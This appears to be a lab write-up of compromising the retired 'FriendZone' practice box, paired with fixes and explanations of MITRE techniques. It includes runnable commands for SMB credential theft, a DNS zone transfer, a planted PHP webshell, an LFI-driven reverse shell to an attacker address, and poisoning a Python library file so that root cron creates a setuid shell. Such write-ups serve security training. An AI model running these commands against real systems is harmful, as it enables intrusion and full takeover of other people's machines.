FriendZone
Summary
I pulled plaintext admin credentials from an open SMB share, then performed an unrestricted DNS zone transfer to discover a hidden administration portal. Logging in with those credentials exposed a Local File Inclusion flaw on the admin dashboard; combined with a second anonymously writable SMB share whose contents mapped directly onto a server-side filesystem path, I planted a PHP webshell and executed it as the web server account.
A plaintext SSH password stored in a web-accessible configuration file provided a stable foothold as a low-privilege user. Finally, a world-writable Python standard library file imported by a root-owned cron job was poisoned, causing the next scheduled execution to create a setuid-root shell binary and deliver complete system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 1
nmap -p- -sV $TARGETExact commands 4
smbclient -N -L //$TARGETsmbmap -H $TARGETsmbclient //$TARGET/general -N -c 'get creds.txt'cat creds.txtFixRequire authentication on all SMB shares and eliminate guest-writable accessCritical
Exact commands 2
dig axfr friendzone.red @$TARGETecho "$TARGET administrator1.friendzone.red uploads.friendzone.red friendzone.red" >> /etc/hostsFixRestrict DNS zone transfers to authorised secondary name servers onlyHigh
Exact commands 2
printf '%s\n' '<?php system($_REQUEST["cmd"]); ?>' > fzcmd.phpsmbclient //$TARGET/$PASSWORD2 -N -c 'put fzcmd.php fzcmd.php'Exact commands 3
curl -sk -c cookie.txt -b cookie.txt -d 'username=admin&password=$PASSWORD3' https://administrator1.friendzone.red/login.phpcurl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=id'curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=bash -c "bash -i >%26 /dev/tcp/$ATTACKER_IP/4444 0>%261"'FixFix the Local File Inclusion vulnerability in dashboard.phpCritical
Exact commands 3
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=cat /var/www/admin/mysql_data.conf'ssh friend@$TARGETcat /home/friend/user.txtFixRemove plaintext credentials from web-accessible configuration filesHigh
Exact commands 4
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=ls -la /usr/lib/python2.7/os.py /opt/server_admin/reporter.py && cat /opt/server_admin/reporter.py'printf 'try:\n system("/bin/sh -c \"if [ $(id -u) = 0 ]; then cp /bin/bash /tmp/fzrootbash; chmod 4755 /tmp/fzrootbash; fi\"")\nexcept Exception:\n pass\n' > /tmp/payload.py && smbclient //$TARGET/$PASSWORD2 -N -c 'put /tmp/payload.py payload.py'curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=cat /etc/$PASSWORD2/payload.py >> /usr/lib/python2.7/os.py'curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=ls -la /tmp/fzrootbash'FixRemove world-writable permissions from Python library files and run cron jobs with least privilegeCritical
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null friend@$TARGET '/tmp/fzrootbash -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.